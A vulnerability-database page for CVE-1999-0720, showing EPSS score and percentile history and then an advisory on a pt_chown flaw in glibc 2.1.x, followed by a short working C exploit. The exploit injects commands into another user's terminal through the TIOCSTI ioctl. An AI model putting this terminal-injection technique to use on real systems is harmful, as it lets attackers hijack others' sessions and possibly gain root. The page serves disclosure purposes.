CVE-1999-0720 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	34%
2025-03-30	33%
2025-04-15	37%
2025-04-15	37%

// source: https://www.securityfocus.com/bid/597/info // pt_chown is a program included with glibc 2.1.x that exists to aid the proper allocation of terminals for non-suid programs that don't have devpts support. It is installed setuid root, and is shipped with RedHat Linux 6.0. As it stands, pt_chown is vulnerable to an attack that allows malicious users to write aribtrary data to tty input/output streams (open file desciptors -> tty) that don't belong to them (you could theoretically get full control of the terminal). This is done by fooling the program into giving you access (it lacks security checks). Whether you can be compromised or not depends on the software you are using and whether it has support for devpts (screen, midnight commander, etc). The consequences are hijacking of terminals, possibly leading to a root compromise. int main(int a,char* b[]) { char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n"; int i=0,x=open(b[1],1); // Expect writable, allocated // (eg. by screen) /dev/ttyXX as 1st arg if (x<0) { perror(b[1]); exit(1); } if (!fork()) { dup2(x,3); execl("/usr/libexec/pt_chown","pt_chown",0); perror("pt_chown"); exit(1); } sleep(1); for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]); }